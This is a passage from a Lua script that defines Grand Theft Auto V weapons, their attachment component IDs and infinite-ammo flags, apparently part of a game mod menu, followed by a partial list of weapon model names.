name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_SR_SUPP_03' }, { name = '~s~~s~Squared Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_08' } } } }, SawedOffShotgun = { id = 'weapon_sawnoffshotgun', name = '~s~~s~Sawed-Off Shotgun', bInfAmmo = false, mods = {} }, AssaultShotgun = { id = 'weapon_assaultshotgun', name = '~s~~s~Assault Shotgun', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, BullpupShotgun = { id = 'weapon_bullpupshotgun', name = '~s~~s~Bullpup Shotgun', bInfAmmo = false, mods = { Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, Musket = { id = 'weapon_musket', name = '~s~~s~Musket', bInfAmmo = false, mods = {} }, HeavyShotgun = { id = 'weapon_heavyshotgun', name = '~s~~s~Heavy Shotgun', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_HEAVYSHOTGUN_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, DoubleBarrelShotgun = { id = 'weapon_dbshotgun', name = '~s~~s~Double Barrel Shotgun', bInfAmmo = false, mods = {} }, SweeperShotgun = { id = 'weapon_autoshotgun', name = '~s~~s~Sweeper Shotgun', bInfAmmo = false, mods = {} } }, AssaultRifles = { AssaultRifle = { id = 'weapon_assaultrifle', name = '~s~~s~Assault Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTRIFLE_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_ASSAULTRIFLE_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, AssaultRifleMkII = { id = 'weapon_assaultrifle_mk2', name = '~s~~s~Assault Rifle Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_AR_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_AR_BARREL_0' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, CarbineRifle = { id = 'weapon_carbinerifle', name = '~s~~s~Carbine Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_CARBINERIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_CARBINERIFLE_CLIP_02' }, { name = '~s~~s~Box Magazine', id = 'COMPONENT_CARBINERIFLE_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, CarbineRifleMkII = { id = 'weapon_carbinerifle_mk2', name = '~s~~s~Carbine Rifle Mk II ', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_CR_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_CR_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, AdvancedRifle = { id = 'weapon_advancedrifle', name = '~s~~s~Advanced Rifle ', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ADVANCEDRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ADVANCEDRIFLE_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } } } }, SpecialCarbine = { id = 'weapon_specialcarbine', name = '~s~~s~Special Carbine', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SPECIALCARBINE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SPECIALCARBINE_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_SPECIALCARBINE_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, SpecialCarbineMkII = { id = 'weapon_specialcarbine_mk2', name = '~s~~s~Special Carbine Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_SC_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_SC_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, BullpupRifle = { id = 'weapon_bullpuprifle', name = '~s~~s~Bullpup Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_BULLPUPRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_BULLPUPRIFLE_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, BullpupRifleMkII = { id = 'weapon_bullpuprifle_mk2', name = '~s~~s~Bullpup Rifle Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Armor Piercing Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_02_MK2' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_BP_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_BP_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, CompactRifle = { id = 'weapon_compactrifle', name = '~s~~s~Compact Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMPACTRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMPACTRIFLE_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_COMPACTRIFLE_CLIP_03' } } } } }, LMG = { MG = { id = 'weapon_mg', name = '~s~~s~MG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL_02' } } } }, CombatMG = { id = 'weapon_combatmg', name = '~s~~s~Combat MG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATMG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, CombatMGMkII = { id = 'weapon_combatmg_mk2', name = '~s~~s~Combat MG Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATMG_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATMG_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_COMBATMG_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_MK2' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_MG_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_MG_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } }, GusenbergSweeper = { id = 'weapon_gusenberg', name = '~s~~s~GusenbergSweeper', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_GUSENBERG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_GUSENBERG_CLIP_02' } } } } }, Snipers = { SniperRifle = { id = 'weapon_sniperrifle', name = '~s~~s~Sniper Rifle', bInfAmmo = false, mods = { Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE' }, { name = '~s~~s~Advanced Scope', id = 'COMPONENT_AT_SCOPE_MAX' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } } } }, HeavySniper = { id = 'weapon_heavysniper', name = '~s~~s~Heavy Sniper', bInfAmmo = false, mods = { Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE' }, { name = '~s~~s~Advanced Scope', id = 'COMPONENT_AT_SCOPE_MAX' } } } }, HeavySniperMkII = { id = 'weapon_heavysniper_mk2', name = '~s~~s~Heavy Sniper Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_02' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Armor Piercing Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ' }, { name = '~s~~s~Explosive Rounds', id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE' } }, Sights = { { name = '~s~~s~Zoom Scope', id = 'COMPONENT_AT_SCOPE_LARGE_MK2' }, { name = '~s~~s~Advanced Scope', id = 'COMPONENT_AT_SCOPE_MAX' }, { name = '~s~~s~Nigt Vision Scope', id = 'COMPONENT_AT_SCOPE_NV' }, { name = '~s~~s~Thermal Scope', id = 'COMPONENT_AT_SCOPE_THERMAL' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_SR_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_SR_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_SR_SUPP_03' }, { name = '~s~~s~Squared Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_08' }, { name = '~s~~s~Bell-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_09' } } } }, MarksmanRifle = { id = 'weapon_marksmanrifle', name = '~s~~s~Marksman Rifle', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MARKSMANRIFLE_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MARKSMANRIFLE_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, MarksmanRifleMkII = { id = 'weapon_marksmanrifle_mk2', name = '~s~~s~Marksman Rifle Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Large Scope', id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2' }, { name = '~s~~s~Zoom Scope', id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_MRFL_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_MRFL_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02' } } } } }, Heavy = { RPG = { id = 'weapon_rpg', name = '~s~~s~RPG', bInfAmmo = false, mods = {} }, GrenadeLauncher = { id = 'weapon_grenadelauncher', name = '~s~~s~Grenade Launcher', bInfAmmo = false, mods = {} }, GrenadeLauncherSmoke = { id = 'weapon_grenadelauncher_smoke', name = '~s~~s~Grenade Launcher Smoke', bInfAmmo = false, mods = {} }, Minigun = { id = 'weapon_minigun', name = '~s~~s~Minigun', bInfAmmo = false, mods = {} }, FireworkLauncher = { id = 'weapon_firework', name = '~s~~s~Firework Launcher', bInfAmmo = false, mods = {} }, Railgun = { id = 'weapon_railgun', name = '~s~~s~Railgun', bInfAmmo = false, mods = {} }, HomingLauncher = { id = 'weapon_hominglauncher', name = '~s~~s~Homing Launcher', bInfAmmo = false, mods = {} }, CompactGrenadeLauncher = { id = 'weapon_compactlauncher', name = '~s~~s~Compact Grenade Launcher', bInfAmmo = false, mods = {} }, Widowmaker = { id = 'weapon_rayminigun', name = '~s~~s~Widowmaker', bInfAmmo = false, mods = {} } }, Throwables = { Grenade = { id = 'weapon_grenade', name = '~s~~s~Grenade', bInfAmmo = false, mods = {} }, BZGas = { id = 'weapon_bzgas', name = '~s~~s~BZ Gas', bInfAmmo = false, mods = {} }, MolotovCocktail = { id = 'weapon_molotov', name = '~s~~s~Molotov Cocktail', bInfAmmo = false, mods = {} }, StickyBomb = { id = 'weapon_stickybomb', name = '~s~~s~Sticky Bomb', bInfAmmo = false, mods = {} }, ProximityMines = { id = 'weapon_proxmine', name = '~s~~s~Proximity Mines', bInfAmmo = false, mods = {} }, Snowballs = { id = 'weapon_snowball', name = '~s~~s~Snowballs', bInfAmmo = false, mods = {} }, PipeBombs = { id = 'weapon_pipebomb', name = '~s~~s~Pipe Bombs', bInfAmmo = false, mods = {} }, Baseball = { id = 'weapon_ball', name = '~s~~s~Baseball', bInfAmmo = false, mods = {} }, TearGas = { id = 'weapon_smokegrenade', name = '~s~~s~Tear Gas', bInfAmmo = false, mods = {} }, Flare = { id = 'weapon_flare', name = '~s~~s~Flare', bInfAmmo = false, mods = {} } }, Misc = { Parachute = { id = 'gadget_parachute', name = '~s~~s~Parachute', bInfAmmo = false, mods = {} }, FireExtinguisher = { id = 'weapon_fireextinguisher', name = '~s~~s~Fire Extinguisher', bInfAmmo = false, mods = {} } } }
1550Herooyyy.trashTables.weaponsModels = { --[[Melee]] 'WEAPON_KNIFE', 'WEAPON_KNUCKLE', 'WEAPON_NIGHTSTICK', 'WEAPON_HAMMER', 'WEAPON_BAT', 'WEAPON_GOLFCLUB', 'WEAPON_CROWBAR', 'WEAPON_BOTTLE', 'WEAPON_DAGGER', 'WEAPON_HATCHET', 'WEAPON_MACHETE', 'WEAPON_FLASHLIGHT', 'WEAPON_SWITCHBLADE', 'WEAPON_POOLCUE', 'WEAPON_PIPEWRENCH', --[[Pistols]] 'WEAPON_PISTOL', 'WEAPON_PISTOL_MK2', 'WEAPON_COMBATPISTOL', 'WEAPON_APPISTOL', 'WEAPON_REVOLVER', 'WEAPON_REVOLVER_MK2', 'WEAPON_DOUBLEACTION', 'WEAPON_PISTOL50', 'WEAPON_SNSPISTOL', 'WEAPON_SNSPISTOL_MK2', 'WEAPON_HEAVYPISTOL', 'WEAPON_VINTAGEPISTOL', 'WEAPON_STUNGUN', 'WEAPON_FLAREGUN', 'WEAPON_MARKSMANPISTOL', --[[ SMGs / MGs]] 'WEAPON_MICROSMG', 'WEAPON_MINISMG', 'WEAPON_SMG', 'WEAPON_SMG_MK2', 'WEAPON_ASSAULTSMG', 'WEAPON_COMBATPDW', 'WEAPON_GUSENBERG', 'WEAPON_MACHINEPISTOL', 'WEAPON_MG', 'WEAPON_COMBATMG', 'WEAPON_COMBATMG_MK2', --[[ Assault Rifles]] 'WEAPON_ASSAULTRIFLE', 'WEAPON_ASSAULTRIFLE_MK2', 'WEAPON_CARBINERIFLE', 'WEAPON_CARBINERIFLE_MK2', 'WEAPON_ADVANCEDRIFLE', 'WEAPON_SPECIALCARBINE', 'WEAPON_SPECIALCARBINE_MK2', 'WEAPON_BULLPUPRIFLE', 'WEAPON_BULLPUPRIFLE_MK2', 'WEAPON_COMPACTRIFLE', --[[Shotguns]] 'WEAPON_PUMPSHOTGUN', 'WEAPON_PUMPSHOTGUN_MK2', 'WEAPON_SWEEPERSHOTGUN', 'WEAPON_SAWNOFFSHOTGUN', 'WEAPON_BULLPUPSHOTGUN', 'WEAPON_ASSAULTSHOTGUN', 'WEAPON_MUSKET', 'WEAPON_HEAVYSHOTGUN', 'WEAPON_DBSHOTGUN', --[[Sniper Rifles]] 'WEAPON_SNIPERRIFLE', 'WEAPON_HEAVYSNIPER', 'WEAPON_HEAVYSNIPER_MK2', 'WEAPON_MARKSMANRIFLE', 'WEAPON_MARKSMANRIFLE_MK2', --[[Heavy Weapons]] 'WEAPON_GRENADELAUNCHER', 'WEAPON_GRENADELAUNCHER_SMOKE', 'WEAPON_RPG', 'WEAPON_MINIGUN', 'WEAPON_FIREWORK', 'WEAPON_RAILGUN', 'WEAPON_HOMINGLAUNCHER', 